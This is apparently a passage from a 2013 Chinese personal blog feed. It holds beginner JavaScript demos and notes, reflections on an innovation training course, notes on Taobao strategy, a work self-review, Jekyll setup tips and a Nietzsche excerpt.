oUL.innerHTML = oUL.innerHTML + oUL.innerHTML;
oUL.style.width = aLi[0].offsetWidth * aLi.length + "px";
var move = function(){
if(oUL.offsetLeft < -oUL.offsetWidth/2)
{
oUL.style.left = '0';
}
oUL.style.left = oUL.offsetLeft - 2 + "px";
};
var timer = setInterval(move,30);
oUL.onmouseover = function(){
clearInterval(timer);
};
oUL.onmouseout = function(){
timer = setInterval(move,30);
};
};
</script>
</head>
<body>
<div id="div1">
<ul>
<li><img src="/image/ym1.jpg" style="width:300px;height:300px"/></li>
<li><img src="/image/ym2.jpg" style="width:300px;height:300px"/></li>
<li><img src="/image/ym3.jpg" style="width:300px;height:300px"/></li>
<li><img src="/image/ym4.jpg" style="width:300px;height:300px"/></li>
<li><img src="/image/ym5.jpg" style="width:300px;height:300px"/></li>
<li><img src="/image/ym6.jpg" style="width:300px;height:300px"/></li>
<li><img src="/image/ym7.jpg" style="width:300px;height:300px"/></li>
<li><img src="/image/ym8.jpg" style="width:300px;height:300px"/></li>
</ul>
</div>
</body>
</html>
First Page
2013-08-04T00:00:00+00:00
http://jinbin.github.io/2013/08/04/First-Page
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>变色</title>
<style>
#div1
{
width:200px;
height:200px;
background:red;
}
</style>
<script>
function changeColor(color)
{
oDiv = document.getElementById("div1");
oDiv.style.background = color;
}
</script>
</head>
<body>
<input type="button" value="变红" onclick="changeColor('red')" />
<input type="button" value="变绿" onclick="changeColor('green')"/>
<input type="button" value="变黄" onclick="changeColor('yellow')"/>
<div id ="div1">
</div>
</body>
</html>
JavaScript入门之二
2013-08-03T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/08/03/JavaScript入门之二
<p>今天在网易云课堂上学习智能社的《精通JavaScript开发》的基础入门章节,总耗时2个半小时多,感觉效果要比自己看书好很多。这个课程以实例为主,非常适合新手入门,迅速找到写JavaScript的状态。</p>
<p>今天主要学习的东西:</p>
<ol>
<li>js概念,负责交互,功能</li>
<li>事件的概念,onclick mouseover mouseout</li>
<li>document.getElementById document.getElementsByTagName</li>
<li>函数,匿名函数</li>
<li>在href中假如js a href=”javascript:alert(‘a’)”</li>
<li>对属性复制的两种方式 oTxt.value = “txt” oTxt[‘value’] = “txt”</li>
<li>style加样式,取样式都在行间</li>
<li>样式优先级:a < 标签 < class < id < 行间</li>
<li>onclick作为一个属性,可以通过匿名函数赋值</li>
<li>window.onload 保证当body加载完成后运行js代码</li>
<li>行为、样式、结构三者分离</li>
<li>this指代当前发生事件的元素</li>
<li>innerHTML的使用</li>
<li>数组 var arr = [1,2,3,4]</li>
</ol>
<p>这门课的好处是,听完基础介绍会感觉自己已经可以做出点有意思的东西,而不像正儿八经的书看完之后只觉得学到一些语法。准备继续按照课程进行学习,实战。</p>
创新思维培训课之二
2013-08-01T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/08/01/创新思维培训课之二
<p>创新思维,说起来是个很玄的东西。坦白的讲,报名参加这个课程的一半原因是因为太专业的课程听不懂,而创新是那么个东西:</p>
<p>###虽然事实上的确很难,但听起来似乎总是简单。
人总是自恋的动物,年轻人总是会觉得自己是个富有创新精神的人,我也是如此。 <br />
直到被一个心理测试结果彻底打击倒。<br />
这个心理测试有一项,是在一堆描述人的词汇中,挑选出十个最适合自己的词。于是我认认真真的选了十个看上去挺不错的词:<br />
#####独立的,实事求是的,沉着的,开明的,
###有条理的,非情绪化的,体谅他人的
#####现实的,观察力敏锐的,灵活的
然后老师揭晓了其中的奥秘:有些词是非常利于创新的,有些词是一般利于创新,而剩下的大部分词都是跟创新没有直接关系的。<br />
我的十个词汇中,只有“观察力敏锐”是非常利于创新,“开明的”一般利于创新,其他的,跟创新压根搭不上边。<br />
心理测试,不一定准确,也没有必要较真。我倒不是对结果耿耿于怀,我只是觉得被颠覆了(我和我的小伙伴们都惊呆了…),关于创新的原有认识。
上面的十个词,多多少少可以描绘我性格的一部分。组合起来看,我是一个理性,冷静,中庸(我一直认为中庸是个褒义词),有同情心的人。这多半来源于天性,也得益于后天的培养。每个人都有每个人的特质,没有好坏高低之分。但是从这个测试中,我学到了这样的一点:
###在某些时候,忘掉原来的自己,进入更适合的场景,才能更好的创新。
我忘记了那几个非常利于创新的词汇,不过也不会是“无条理”,“情绪化”,“不体谅他人”之类的简单的在无关词汇前加否定。创新是有方法的,培训课上花了很多时间在讲述一些理论方法,但我想说创新也是一种思维方式、行为模式,我们需要:
###反思自己的思维模式,反思自己的行为模式
###没有对错之分,但是我们是不是该给自己多一条前进的道路呢?是不是不应该那么固执呢?
似乎我总是打着开明的旗号,行固执之事。因为我总是习惯于在一条道上走到黑。也许按照我的逻辑,我的观点的确无懈可击,但是凭什么就要以我的逻辑为准呢?</p>
<p>##理性思维不是唯一的道路
我所理解的理性思维,用最简单的方式来描述,就是——
#分类
最极端的分类是一分为二,又可以称作非黑即白。为了适应这个日渐庞大的社会,为了显示理性的骄傲,我们不断的进行分类,一直到每个人都可以躲在其狭小的专业领域里。 <br />
我忽然想起了《禅与摩托车维修艺术》,我似乎跑题了。
我想表达的是,我们平时解决问题的思路,有点类似于这种分类的感觉。精确、枯燥而唯一。<br />
这是创新的一种途径,但是不唯一。</p>
创新思维培训课
2013-07-31T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/07/31/创新思维培训课
<p>7月底的最后两天,参加了公司的“创新思维”的培训课。课程是由创择咨询公司的周浩宇老师主讲的。下面是拍的课程纪要:</p>
<p>Day 1:<br />
<img src="/image/Innovation-Day11.jpg" alt="Day11" /><br />
<img src="/image/Innovation-Day12.jpg" alt="Day12" /><br />
<img src="/image/Innovation-Day13.jpg" alt="Day13" /></p>
<p>Day 2:<br />
<img src="/image/Innovation-Day21.jpg" alt="Day21" /><br />
<img src="/image/Innovation-Day22.jpg" alt="Day22" /></p>
语嫣:淘宝13-14年方向和变化
2013-07-27T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E6%91%98/2013/07/27/语嫣-淘宝13-14年方向和变化
<p>####12-13年淘宝的变化
######搜索</p>
<ol>
<li>长词(字数比较多的词)占PV比例上涨9.4%</li>
<li>meanwhile,高频词爆款词下降</li>
</ol>
<p>=> 搜索向长尾发展</p>
<p>######消费者</p>
<ol>
<li>多终端,无线的兴起(卖家要为消费者而变)</li>
<li>五六线城市需求增加</li>
<li>55岁以上的用户开始进入淘宝。还有向低龄化发展。</li>
</ol>
<p>######卖家</p>
<ol>
<li>有动销的店铺有极大的增加</li>
<li>大量新店铺开始涌入</li>
</ol>
<p>####13-14年淘宝的变化
######两个关键词</p>
<ol>
<li>松绑</li>
<li>帮助(支撑)</li>
</ol>
<p>=> 失控</p>
<p>######安居乐业</p>
<ol>
<li>淘字号</li>
<li>防盗图 人的智力</li>
<li>商品库</li>
<li>交易合约化</li>
</ol>
<p>######各展所长</p>
<ol>
<li>数据使用的开放</li>
<li>支持个性化的卖家</li>
<li>打通卖家触达和影响买家的通道 <br />
(战略就是决定你到底什么事情不做)</li>
<li>整体数据对卖家运营的支持</li>
</ol>
<p>######买卖之外第三方的引入</p>
<h4 id="-多样化多元化的淘宝">=> 多样化,多元化的淘宝</h4>
JavaScript入门之一
2013-07-25T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/07/25/JavaScript入门之一
<p>####JS数据类型
#####五种基本类型:</p>
<ul>
<li>Null</li>
<li>Undefined 声明变量但不赋值</li>
<li>Boolean 有对应的对象类</li>
<li>Number 有对应的对象类</li>
<li>String 有对应的对象类</li>
</ul>
<p>#####操作符:</p>
<p>”==” :’12’ == 12 true<br />
“===” :’12’ === 12 false</p>
<p>####函数
#####两种定义方法:<br />
var fn = function{<br />
// …<br />
}<br />
function fn(){<br />
// …<br />
}</p>
<p>#####获取传递给函数的实际参数:
arguments <br />
arguments.callee</p>
<p>#####匿名函数</p>
<p>####对象
var obj = new Object();<br />
obj.name = “jinbin”;<br />
obj.age = 26;</p>
<p>var obj = {<br />
name : “jinbin”;<br />
age : 26;<br />
};</p>
<p>function Person(name,age){ <br />
this.name = name;<br />
this.age = age;</p>
<p>this.showName = function(){<br />
alert(this.name);<br />
}<br />
}</p>
中期Review个人回顾
2013-07-24T00:00:00+00:00
http://jinbin.github.io/%E8%81%8C%E5%9C%BA/2013/07/24/中期Review个人回顾
<p>跟娟姐进行中期Review后我意识到需要改进的地方:</p>
<p>一、要加强结果意识,强调阶段性成果产出</p>
<p>工作是以结果作为最终评价标准,而这个结果不是个人所想象的结果,它是你每一个服务的对象对你工作成绩感觉的总和。<br />
对于结果而言,重要的不是技术含量,不是设计考虑问题的周全,更不是工作多辛苦、加班多少,而是合作方的感受。<br />
因此,在工作中:</p>
<ol>
<li>要拿得出整体的功能规划,让主管和用户对时间点一目了然,及时知道工作进展,心中有数</li>
<li>合适的时间点要拿出阶段性产出,并能看出带来的收益</li>
<li>在用户体验方面有较大进展及时通知用户,提高用户的满意度</li>
</ol>
<p>二、技术与业务相结合</p>
<p>技术归根结底是要为业务服务的,而业务也可以为技术提供发挥的空间。<br />
事实上所谓的“技术”是很虚幻的东西,重要的是发现问题的根本并用逻辑思维去技术性解决。<br />
比如做持续集成的过程中,前一段时间着力于功能的实现,并没有过多关注用户使用感受,下一个阶段需要多跟业务团队交流,找到其中的痛点,然后技术性的解决问题。</p>
<ol>
<li>站在用户的角度使用系统,把自己当做一个毫无基础的新手,发现系统易用性上的问题。</li>
<li>多跟业务团队交流,帮助业务团队在测试理念上达成一致,找到其中的障碍,一起合作解决难点。</li>
</ol>
<p>三、继续磨练职业素养</p>
<p>好的职业素养不一定是要让所有人满意,在我看来,就是利用资源完成既定目标,进度透明但不暴露无谓细节。</p>
<ol>
<li>既要有时间规划,但要根据情况灵活调整,有理有据即可。计划既定,全力去实现。</li>
<li>风险、问题提前沟通。小到功能点代码的更改,大到设计的变更,要及时知会小伙伴们;要有风险意识,不要过于乐观,自己给自己下套,提高评估的能力。</li>
<li>找得到资源,用得好资源。努力为自己的目标找资源,不然就会成为别人目标的资源。</li>
<li>要有效能。</li>
</ol>
用jekyll搭建github主页
2013-07-22T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/07/22/用jekyll搭建github主页
<p>今天终于把github上个人主页搭建起来了。虽然视觉效果远谈不上华丽,但是对我个人来说已经足够了。以后就在这里用markdown写文章吧。
这里总结一下参考文档,做个记录。</p>
<p>#####理念
<a href="http://www.yangzhiping.com/tech/writing-space.html">http://www.yangzhiping.com/tech/writing-space.html</a></p>
<p>#####入口
<a href="http://www.ruanyifeng.com/blog/2012/08/blogging_with_jekyll.html">http://www.ruanyifeng.com/blog/2012/08/blogging_with_jekyll.html</a></p>
<p>#####官方教程(一步一步来,很好用)
<a href="http://jekyllbootstrap.com/">http://jekyllbootstrap.com/</a></p>
<p>#####参考
<a href="http://yanping.me/cn/blog/2011/12/15/building-static-sites-with-jekyll/">http://yanping.me/cn/blog/2011/12/15/building-static-sites-with-jekyll/</a></p>
<p>#####排查错误
<a href="http://www.mceiba.com/develop/jekyll-introduction.html">http://www.mceiba.com/develop/jekyll-introduction.html</a> <br />
<a href="http://chxt6896.github.io/blog/2012/02/13/blog-jekyll-native.html">http://chxt6896.github.io/blog/2012/02/13/blog-jekyll-native.html</a></p>
<p>#####经验教训
######上传了文章之后,github却没有生效
查看邮箱,可能会受到build error的邮件。<br />
把代码下载到Linux,运行jekyll server,查看是否有报错,一般都是新增文章的markdown语法无法解析造成,修改语法,重新上传,搞定!</p>
中国小强音观感
2013-07-22T00:00:00+00:00
http://jinbin.github.io/%E6%9D%82%E8%B0%88/2013/07/22/中国小强音观感
<p>原文最早发于本人6月16日微博:<a href="http://weibo.com/1716846183/zBKlffiVm">http://weibo.com/1716846183/zBKlffiVm</a> ,难得的一篇长文,故在这里转了。</p>
<p><img src="/image/中国小强音.jpg" alt="qiang" /></p>
尼采:精神的三种变形
2013-07-21T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E6%91%98/2013/07/21/尼采-精神的三种变形
<blockquote>
<p>我告诉你们精神的三种变形:精神如何变成骆驼,骆驼如何变成狮子,最后狮子如何变成小孩。</p>
<p>许多重负是给精神,给强壮忍耐而中心崇敬的精神担载的:精神之大力要求重的和最重的负担。<br />
“什么是重的?”能担载的精神如是问;它便骆驼似地跪下,承取一个真正的重负。<br />
“英雄们,什么最重的?”能担载的精神如是问,“说罢!让我载着,让我的大力畅快畅快罢。”<br />
自卑以损伤高傲;显露疯狂以讥讪智慧:这个是不是呢? <br />
正当自己的主张庆祝胜利时,而抛弃了这主张;爬上高山去挑拨诱惑者:或是这个罢?<br />
以知识之果与草自养,为着真理而使灵魂受饿:或是这罢?<br />
患病而拒绝安慰者,交给永不会了解你的愿望之聋聩:或是这个罢?<br />
只要那是真理之水,不顾污秽地跃入,而不嫌恶冰冷的和发热的蛙:或是这个罢?<br />
亲善我们的轻蔑者,伸手给想使我们惊怕的妖怪:或是这个罢?<br />
这一切重负,勇敢的精神都担载在身上,忙着向它的沙漠去,象负重的骆驼忙着向沙漠去一样。</p>
<p>但是,在最寂寥的沙漠中,完成了第二变形:在这里,精神变成狮子;他想征服自由而主宰他自己的沙漠。<br />
在这里,他寻找他最后的主人:他要成为这主人这最后的上帝之仇敌;他要与巨龙争胜。<br />
谁是那精神不愿称为主人与上帝的巨龙呢?“你应”是它的名字。但是狮子之精神说,“我要。”<br />
“你应”躺在路上,侦候着狮子之精神;它是一个放射着金光的甲兽,每个鳞上有“你应”的金字! <br />
千年来的价值在这些鳞上放光。这最有权力的龙如是说:“万物之一切价值——它们在我身上闪耀。<br />
一切价值都已创造。而一切已创造的价值——那就是我,真的,‘我要’是不应存在的。”这龙如是说。</p>
<p>兄弟们,精神之狮子用处何在呢?那谦让崇敬而能担载的骆驼不已够了吗?<br />
创造新的价值,——狮子亦不足为此:但是为着新的创造而取得自由,——这正需要狮子的力量。<br />
创造自由和一个神圣的否定以对抗义务:兄弟们,这是狮子的工作。<br />
取得创造新价值的权利,——这是崇敬而能担载的精神最可怕的征服。真的,这于它是一个掠夺与一个凶恶的食肉猛兽的行为。<br />
从前它曾爱“你应”为最神圣之物:现在它不得不在最神圣之物里,找到幻谬与暴虐,使它可以牺牲爱以掠夺自由:<br />
为着这种掠夺,我们需要狮子。</p>
<p>但是,兄弟们,请说,狮子所不能做的事,小孩又有何用处呢?为什么掠夺的狮子要变成小孩呢?<br />
小孩是天真与遗忘,一个新的开始,一个游戏,一个自转的轮,一个原始的动作,一个神圣的肯定。<br />
是的。为着创造之戏,兄弟们,一个神圣的肯定是必要的:精神现在有了他自己的意志;世界之逐客又取得他自己的世界。</p>
<p>我向你们说明了精神之三种变形:精神如何变成骆驼,变成狮子,最后变成小孩。 <br />
————«查拉斯图拉如是说»</p>
</blockquote>